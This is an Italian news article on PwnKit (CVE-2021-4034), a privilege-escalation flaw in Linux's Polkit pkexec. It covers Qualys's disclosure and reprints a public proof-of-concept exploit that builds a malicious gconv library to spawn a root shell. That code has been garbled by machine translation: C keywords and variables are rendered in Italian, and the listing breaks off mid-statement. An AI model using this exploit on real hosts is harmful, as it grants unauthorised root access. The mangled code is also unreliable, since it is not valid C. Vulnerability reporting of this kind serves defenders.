Red Hot Cyber

La cybersecurity è condivisione.
Riconosci il rischio, combattilo, condividi le tue esperienze ed 
incentiva gli altri a fare meglio di te.

Cerca

PwnKit: il bug universale su Linux di privilege escalation, vecchio di 12 anni.

Redazione RHC : 26 Gennaio 2022 09:39

  

Una vulnerabilità nel componente pkexec di Polkit identificato come CVE-2021-4034 (PwnKit) è stata scoperta dal team di ricerca di Qualys, ed è presente nella configurazione predefinita di tutte le principali distribuzioni Linux e può essere sfruttata per ottenere privilegi di root completi sul sistema, avvertono oggi i ricercatori.

Parte del framework dell’applicazione open source Polkit che negozia l’interazione tra processi privilegiati e non privilegiati, pkexec consente a un utente autorizzato di eseguire comandi come un altro utente.

Il corretto sfruttamento di questa vulnerabilità consente a qualsiasi utente senza privilegi di ottenere i privilegi di root sull’host vulnerabile. I ricercatori sulla sicurezza di Qualys sono stati in grado di verificare in modo indipendente la vulnerabilità, sviluppare un exploit e ottenere i privilegi di root completi sulle installazioni predefinite di Ubuntu, Debian, Fedora e CentOS.

Altre distribuzioni Linux sono probabilmente vulnerabili e probabilmente sfruttabili. Questa vulnerabilità è stata nascosta per oltre 12 anni e interessa tutte le versioni di pkexec dalla sua prima versione nel maggio 2009 (commit c8c3d83).

Non appena il team di ricerca ha confermato la vulnerabilità, Qualys si è impegnata nella divulgazione responsabile e si è coordinata con i fornitori e le distribuzioni open source per annunciare la vulnerabilità. Guarda questo video di un potenziale percorso di exploit.

A quanto pare, è già emerso un exploit, a meno di tre ore dalla pubblicazione dei dettagli tecnici di PwnKit da parte di Qualys.

BleepingComputer ha compilato e testato l’exploit disponibile, che si è rivelato affidabile in quanto ci ha fornito i privilegi di root sul sistema in tutti i tentativi.

/* * blasty-vs-pkexec.c — di blasty *———————————————— * PoC per CVE-2021-4034, grida a Qualys * * exploit di qualità ctf * * bla bla divulgazione irresponsabile * * — esplosivo // 25-01-2022 */#include #include #include #include #include #include #include void fatal(char *f) { errore(f); uscita(-1);}void compile_so() { FILE *f = fopen(“payload.c”, “wb”); se (f == NULLA) { fatale(“fopen”); } char so_code[]= “#include \n” “#include \n” “#include \n” “void gconv() {\n” ” ritorno;\n” “}\n” “void gconv_init() {\n” ” setuid(0); seteuid(0); setgid(0); setegid(0);\n” ” carattere statico *a_argv[] = { \”sh\”, NULL };\n” ” carattere statico *a_envp[] = { \”PERCORSO=/bin:/usr/bin:/sbin\”, NULL };\n” ” execve(\”/bin/sh\”, a_argv, a_envp);\n” ” uscita(0);\n” “}\n”; fwrite(così_codice, strlen(così_codice), 1, f); fclose(f); system(“gcc -o payload.so -shared -fPIC payload.c”);}int main(int argc, char *argv[]) { struct stat st; char *a_argv[]={ NULL }; carattere *a_envp[]={ “LOL”, “PERCORSO=GCONV_PERCORSO=.”, “LC_MESSAGES=it_US.UTF-8”, “XAUTHORITY=../LOL”, NULLO }; printf(“[~] aiutante per la compilazione..\n”); compile_so(); if (stat(“PERCORSO_GCONV=.”, &st)
test svolto da Bleeping computer su Ubuntu

Riferendosi all’exploit, l’analista di vulnerabilità CERT/CC Will Dormann ha affermato che è sia semplice che universale. Il ricercatore lo ha ulteriormente testato su un sistema ARM64, dimostrando che funziona anche su quell’architettura.

Qualys ha segnalato il problema di sicurezza in modo responsabile il 18 novembre 2021 e ha atteso che una patch diventasse disponibile prima di pubblicare i dettagli tecnici di PwnKit .

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.